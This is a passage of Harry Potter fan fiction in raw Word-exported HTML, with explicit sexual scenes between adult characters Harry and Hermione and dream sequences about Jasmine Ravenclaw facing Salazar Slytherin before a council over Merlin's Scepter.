&#8220;the pain&#8212;It&#8217;s fading.&#8221; She lifted her\nhand to his cheek, brushing it with her fingertips. She stared into his eyes\nfor a moment then cupped her hand around the back of his neck and brought his\nmouth down against hers in an assuring, sweet kiss.&nbsp; He began to move slowly in and out of her,\nsoon the pain was but a distant memory.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright?&#8221;\nHe asked her panting, and she nodded leaning her head against the pillow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,&#8221;\nShe squeaked.&nbsp; Hermione watched him close\nhis eyes to the pleasantness of being inside her as he steadily thrust in and\nout of her, never changing their slow yet fulfilling rhythm.&nbsp; Instinctively she pushed herself up meeting\nhis thrusts while her fingers danced over his back, up his sides to plant\nfirmly on his shoulders where she scraped her fingernails along his skin.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nopened his eyes looking at her, she was beautiful moving with him.&nbsp; This was wonderful, the feelings of absolute\npleasure they each were receiving from other, there was nothing like it, the feel\nof her body wrapped so tightly around his, it was exquisite torture and he\nwanted more.&nbsp; He doubted he would ever\nget enough of her.&nbsp; His lips touched her\nthroat where his mouth lingered there for a moment. He picked up his rhythm,\nmoaning her name softly, moving faster inside her.&nbsp; His eyes shut tightly and he was gasping for\nair.&nbsp; His lips found hers in a\nsurrendering kiss. &nbsp;<br style="mso-special-character:\nline-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Harry&#8221; she cried out as he drove into her\nharder wanting to become one with her, their souls were joining.&nbsp; He felt her clinging to him her fingers\ngrabbing hold of his skin as he held nothing back in claming her body, along\nwith mind and soul.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione&#8221;\nhe breathed, burring his face within her shoulder lightly nipping at the soft\nflesh while thrusting into her hard and fierce.&nbsp;\nShe wanted it, needed it.&nbsp; She\ndidn&#8217;t hold back the blissful cries that came from her as his body drove into\nhers with such a force and that she wanted more of it.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nattacked his mouth with hers.&nbsp; She felt\nher heart wanting to burst from within her chest, the wild sensations of his\nbody mingling with hers.&nbsp; She could feel\nher own muscles tightening around him every so often.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Harry could feel himself fast approaching the\nedge, feeling the tightening in his body as he thrust into her harder and\nfaster.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her\nentire body screamed for him to go deeper into her and he did, with the intense\npressure building within her she heard herself crying out his name begging him\nfor even more, with another powerful plunge into her, she stiffened throwing her\nhead against the pillow hearing herself calling out his name in a fit of\npassions as the wave of&nbsp; an earth\nshattering release swept over her, hurling her senses far and away.&nbsp; Hermione was vaguely aware of him arching\nover her, in the heat of his own climax.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; He collapsed on top of her completely\nexhausted, he felt her fingers stroking his back tenderly.&nbsp; For a few moments&nbsp; they laid together not wanting to move.&nbsp; Harry didn&#8217;t want to leave the warmth of her\nbody, the way she still felt around him was so inviting.&nbsp; He lifted his head looking down at her she\nremained dazed and very awed at what they had just experience together, he\nkissed her softly, her mouth lazily playing against his. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;He rolled off of her, and she instantly felt\ncold and alone.&nbsp; Noticing her shiver with\nthe loss of his warmth, Harry reached over pulling her on her side to face\nhim.&nbsp; He pulled the comforter over\nthem.&nbsp; And with his arms now encircling\nand he held her close.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nsearched her eyes, which looked very pleased as her breathing was settling to a\nmore normal, relaxed pace.&nbsp; He watched\nHermione&#8216;s hand reach up and her fingers began lightly tracing his lips which\nfelt soft to her touch.&nbsp; He smiled into\nher eyes, and felt her fingers now reach up into his hair, where she tenderly,\naffectionately stroking her fingers through the dark strands.&nbsp; All she wanted to do was look at him, but was\nfinding it harder to keep her eyes open &#8220;I love you.&#8221;&nbsp; She whispered, and was barely able to get it\nout before her eyes gently closed. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;He watched her eye lids close, her lashes\nfluttering against her cheeks, &#8220;I love you.&#8221; He whispered back he saw her smile\nand then hoped to join her in her dreams.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">In\nher sleep Hermione shifted and turned over&#8212;<i style="mso-bidi-font-style:normal">She\nturned facing the council, Salazar circled her.&nbsp;\n</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Are you going to give up Merlin&#8217;s\nScepter?&#8221; He spat.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;No.&#8221;&nbsp;\nShe answered not taking her eyes from his</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Salazar looked at the council members\none by one, &#8220;did you hear that, she said no&#8221;&nbsp;&nbsp;\nHe turned around facing her with an evil scowl.&nbsp; &#8220;And what pray tell is the reason for that\nLady Ravenclaw?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;My reasons for keeping the scepter Lord\nSlytherin, is plain and simple.&nbsp; I will\ndo all I can to protect us all mystic kind and non from the forces of\ndarkness.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Oh I think not, I think you want to control\nall of us.&#8221; He argued.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Her eyes narrowed her head held up high\nshe looked at the council knowing what they already believe.&nbsp; She then directly looked at Salazar her eyes\nlocking with his in determination.&nbsp; &#8220;I am\nnot afraid to die for what I think is right,&#8221; She looked over at Torrin for a\nmoment before returning her gaze to the council &#8220;and you all know that.&nbsp; Why would I control you when all I want is\nthe freedoms of us all, muggles and sorts included?&nbsp; You want to keep them enslaved and for what?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Salazar avoided her question. &#8220;Is it\ntrue that you Jasmine Ravenclaw can control the will of humanity with that\nscepter?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Yes.&#8221;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What makes us believe that you wouldn&#8217;t\nuse it for your own benefit?&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What makes you believe that I will?&#8221;\nJasmine challenged, &#8220;Is there darkness in your heart Lord Slytherin? Is the\nscepter&#8217;s pull that strong for you to think that everyone will succumb to it?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;There is no darkness in my heart Lady\nRavenclaw,&#8221; His eyes narrowed in anger he could see her amused grin behind her\neyes that she knew the truth about him somehow.&nbsp;\nHe would turn this around to his benefit. He looked to the council, &#8220;see\nshe&#8217;s already manipulating us into believing she will not use the scepter for\nher own benefit and desires.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Desires of what, power?&nbsp; I have no such desire.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Then give up the scepter.&#8221; He stepped\nclose to her and leaned closer to her ear so that only she could hear him. &#8220;Are\nyou afraid Jasmine?&#8221; He smirked.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Afraid? No.&nbsp; I am not afraid of you.&#8221; She lifted her head,\n&#8220; You know if I am put to death there will be no chance at all of you getting\nyour hands on that scepter.&#8221; She whispered.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;At least you will be out of the way,\nyou could not interfere.&#8221; His smirk grew wider.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Ah, so that&#8217;s your game is it? I know I\ncould never convince the council of your dark doings this day.&nbsp; But don&#8217;t rule out my abilities to bring them\nforth Lord Slytherin.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Don&#8217;t challenge me Jasmine, you will\nloose.&#8221; He boasted then turning to the council, &#8220;I told you all what she would\ndo and say, do we really know what darkness may lie in her heart, the desires\nfor control and power she would never admit to them.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Orvin stood, &#8220;we will take twenty four\nhours to decide, that means you have until midnight tomorrow to bring forth any\nevidence that might help your case Lady Ravenclaw, I don&#8217;t want to put you to\ndeath, but if we have to for the sake of all our wills I will not hesitate.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I understand Lord Orvin.&#8221; She nodded\nher head in respect for the middle aged wizard.&nbsp;\n</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Orvin concluded the meeting and people\nstarted leaving the hall.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine turned and found Torrin heading\nin her direction&#8212;</i> Hermione&#8217;s eyes\nopened gently, the moonlight was still pouring in through the window.&nbsp; She felt a body pressed against her back and\nan arm around her holding her waist tightly.&nbsp;\nHermione turned over facing him, a smile crept over her face as she\nwatched him sleep. She smoothed the hair away, out of his closed eyes.&nbsp; A grin then crept across her face remembering\nwhat they had done earlier this night. She felt the warmth between her legs\nreturning, the want and the desire to become one with him again drifted into\nher mind, and it was not going to leave her alone until she succumbed to her\nown want and need.&nbsp; Hermione leaned\ncloser to his ear.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,&#8221;\nshe whispered into his ear.&nbsp; &#8220;Harry, wake\nup.&#8221; She spoke in soothing tones while rubbing his cheek with her thumb.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It\ntook a minute but his eyes fluttered opened and he smiled lightly, he noticed\nit was still dark out.&nbsp; &#8220;Hermione, what\ntime is it?&#8221; He asked sleepily.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nglanced at the clock, &#8220;a little after two a.m.&#8221; She smiled gently.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is\neverything okay?&#8221; he asked concerned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nnodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nfelt confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ncould see the confusion in his eyes and that he was wondering why she woke him\nup, she knew he didn&#8217;t want to seem rude to ask.&nbsp; She grinned and pressed a lingering kiss to\nhis cheek before leaning closer to his ear &#8220;I wanna do it again.&#8221; She pulled\nback a bit so she could look at him to see his reaction, hoping it was the one\nshe wanted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It\ntook a moment but then a small smirk crept across his lips &#8220;Do you?&#8221;&nbsp; He looked at her not sure, &#8220;hmm? I could\nstill be asleep, how do I know this isn&#8217;t just a dream?&#8221; His eyes searching\nhers for the answer.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\npressed her lips to his for a moment before he opened his mouth to her no\nlonger sleepy, feeling her tongue press against his he couldn&#8217;t resist the\nsweet taste of desire while he kissed her back.&nbsp;\nHer hands flattened against his chest, she reveled in the feel of his\nchest, stomach. Her hands sliding, wandering down.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\npulled his mouth from hers, their gazes locking.&nbsp; She lifted one hand pressing it softly\nagainst his cheek.&nbsp; She held his emerald\ngaze while her other hand still ventured lower between his legs, her hand\nslipped over him making him gasp, he closed his eyes gently with the feel of\nher hand around him.&nbsp; As she continued to\ntouch and hold him she could feel her own heat continuing to gathering with in\nher, her breathing increased.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\npressed a tender kiss to his earlobe also making him shiver with pleasure,\n&#8220;still feel like a dream?&#8221; She whispered then giving his lobe a seductive lick.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re\na tease Hermione Granger.&#8221; He whispered the best he could and sucked in a breath\nwith her hand still caressing him.&nbsp; Then\nwith one masterful move he rolled her over so that she was on her back and he\nwas on top of her. Her arms immediately went around him as she held him tightly\nagainst her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">His\nhands cupped her face and his mouth took hers again and again, pressing hers\nopen his tongue thrusting into her mouth.&nbsp;\nHe slid his tongue along the roof of her mouth causing her to whimper\nsoftly, then finally meeting with hers dancing sweetly like poetry, strong and\npossessive.&nbsp; Both hands drifted down one\ncoming on contact with her breast. Teasing the hardened tip with such\nexpertise, this caused her to arch her back trying to press herself more into\nhis hand.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her\nkisses were hard, with almost bruising passion, her mouth seemed to want to\nswallow him whole.&nbsp; His other hand\ndrifted lower down her tummy, down between her thighs as he touched her, she\ngasped pulling her mouth from his burying her face in his shoulder she couldn&#8217;t\nhelp the blissful cry that escaped her feeling his fingers caressing every\nfold, touching her most sensitive button until she was shaking uncontrollable\nand whimpering loudly into his shoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Please.&#8221;\nShe heard herself say.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now?&#8221;\nHe asked in a teasing voice as he continued his blissful torture.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nwas breathing hard, almost unable to speak. &#8220;Oh please, yes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nshifted slightly so that her thighs opened&nbsp;\nand he pushed himself inside the silky folds of her inner beauty. She\nclutched his shoulders tightly he drove gently at first into her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;More,\nI want more.&#8221; She panted, feeling him so exquisitely buried within her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nimmediately began to increase the rhythm, moving faster, he closed his eyes\ntightly, moaning her name as her own body rose her meeting his thrust, he\npushed his mouth against hers, almost trying to suck the very life out of her\nas she clung on to him for dear life. Her gasps and cries filling the room by\nthe pleasure her lover brought to her.&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Muffled\nnoises woke Ron in the next room, his eyes opened he couldn&#8217;t help the glare as\nhe glanced at the wall on the other side of the room.&nbsp; &#8220;They&#8217;re at it again.&#8221; He said annoyed\nsitting up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nshifted and turned over to face him, &#8220;Ron go back to sleep.&#8221; She yawned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\ncan you sleep through that?&#8221; He looked at her, &#8220;I should go and bang on the\nwall and tell them to cut it out people are trying to sleep.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nweren&#8217;t trying to sleep fifteen minutes or so ago.&#8221; She laughed lightly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ha,\nha, you think you&#8217;re so funny don&#8217;t you?&#8221; He was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of\ncourse&#8221; Zara smirked, leaned up and kissed him lightly on the cheek. She\nreached over and turned on the radio to a nice soothing station, she turned the\nvolume up so that it would block out the sounds from the next room but not be\nuncomfortable to sleep.&nbsp; &#8220;There, how&#8217;s\nthat?&#8221; She was sleepy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Better.&#8221;\nHe said lying back against the pillow, he pulled Zara over so that she had her\nhead resting on his chest. And they both seemed to fall back to sleep nearly a\nsecond later. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nhad her legs wrapped around him a pleasured cry came from her each time he\nthrust into her, going even deeper until he was all the way buried within\nher.&nbsp; A great tingling feeling started in\nher toes flowing upward through her body, she clutched his shoulders tightly,\nher fingernails digging into his skin as he drove into her harder.&nbsp; He kissed her throat, neck sucking on the\nsensitive skin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nthrust into her she tightened her arms around him, her fingers scraping down\nhis back as her body contracted, clinging, gripping him feeling the rush of hot\nwhite fire engulf her, crying out his name.&nbsp;\nNearly a second later she heard him also cry out in his own\nrelease.&nbsp; Hermione felt the weight of him\non her and she loved it.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\na moment of trying to catch his breath, he lifted his head looking down at her,\nshe was still regaining her composure, she smiled lightly her eyes were glazed\nover and so very beautiful, he pressed a soft gentle kiss against her lips,\nmoving off of her.&nbsp; They laid on their\nsides for a moment just staring at each other.&nbsp;\nHe trailed his fingers up and down her hip in a relaxing gesture.&nbsp; She then she rolled over on her back taking\nhim with her so that his head on her chest and put and arm around her, holding\nher tightly.&nbsp; Hermione pulled the\nblankets over them.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nfelt her fingers run through his hair, soothing him with a gentle scalp\nmassage, she loved feeling of her fingers in his hair, her action was so soft\nand gentle that he started to drift off to sleep, he felt her fingertips a few\nmore times in his hair until her hand stilled, his eyes closed sleep could not\nwait<i style="mso-bidi-font-style:normal">&#8212;He answered the door and she stood\nthere her cloak fastened tightly around her.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Can I come in?&#8221; She asked with a smile.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Of course&#8221; He moved out of the way and\nshe brushed past him entering his house.&nbsp;\nHe sat down in the chair looking up at her.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She tossed Salazar&#8217;s journal down on the\ntable, &#8220;He&#8217;s evil Torrin.&#8221; She removed her cloak and hung it the back of\nanother chair.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin reached for the journal, picking\nit up in his hand. He glanced at the leather bound cover and opened it, he\nbegan to read it stopping a few times to glance up at her. He continued\nreading.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Torrin my friend you&#8217;re going to have\nto show it to the council tomorrow night.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He looked up at her and then stood\ncrossing the room to meet her.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Torrin they will think I made it all up\nif I give this to the council, they already believe what Salazar said, how can\nI sway their judgment?&nbsp; But if you bring\nit to the surface it might convince the council to not believe everything Salazar\nSlytherin says.&#8221; She said with half a smirk.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I&#8217;ll do what I can Jasmine, It&#8217;s good\nto know that you came to me to help you with this and not Kai or Ulrich.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Yeah well Ulrich was occupied with something\nimportant so he told me to ask you.&#8221; She teased. </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin could feel his blood boil hearing\nher talk about Ulrich &#8220;Jasmine you know I don&#8217;t like you teasing me like that.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She gave him a smirk &#8220;oh Torrin you take\neverything so seriously, you know I would come to you first for anything,&#8221; she\nsmiled.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He glanced at the floor feeling foolish,\n&#8220;I know&#8221; Torrin looked at her.&nbsp; &#8220;You&#8217;re\nmother will be at the meeting tomorrow night, maybe she&#8217;ll be able to sway the\ncouncil if your evidence doesn&#8217;t hold up.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I know the council always values my\nmother&#8217;s ideas and opinions, but I don&#8217;t think they are going to budge on\nthis.&nbsp; She has been gone while the case\nwas going on, they probably don&#8217;t want to listen to someone who hasn&#8217;t been\ninvolved the whole time. &nbsp;That&#8217;s why you\nare so important to this Torrin, you have been here with me every step of the\nway.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Yes, only because it involves you.&#8221; He\nstepped closer to her, &#8220;Jasmine you are my everything, my life would cease to\nexist without you in it.&nbsp; We will beat\nthis, Slytherin is not going to win, mostly because we are powerful together,\nnot one of us could do this alone.&nbsp; It&#8217;s\nus together, Kai, Leelee, Alina and yes even Ulrich.&#8221; He said Ulrich&#8217;s name a\nlittle bitterly hoping Jasmine didn&#8217;t catch the tone, but he knew she did, she\nwas always very perceptive. &#8220;Together Jasmine, remember that.&nbsp; Together we are unstoppable.&#8221;&nbsp; He leaned in pressing his lips to hers,\ngiving her a sweet tender kiss.&nbsp; True\nthat&#8217;s how it started, but it grew stronger, and Jasmine wanted more than just\na mere peck.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She ran her tongue along the seam of his\nlips causing them to open and she freely explored his mouth with her tongue\nslowly, teasingly, driving him crazy.&nbsp; He\npulled back a bit gazing at her.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You Jasmine Ravenclaw are a tease.&#8221; He\nsaw her smirk slyly and he dove back in for more.&nbsp; He felt her arms go around him in a tight\nembrace&#8212;</i>&nbsp; The happy chirping of birds caused him to\nstir a bit, the sun shone brightly through the window across Harry&#8217;s eye lids,\nand he opened them.&nbsp; It was morning.&nbsp; He turned his head and found Hermione\nsleeping in the same position.&nbsp; He rested\nhis chin on her shoulder and lightly traced her lips with his finger, he\ntouched her cute little 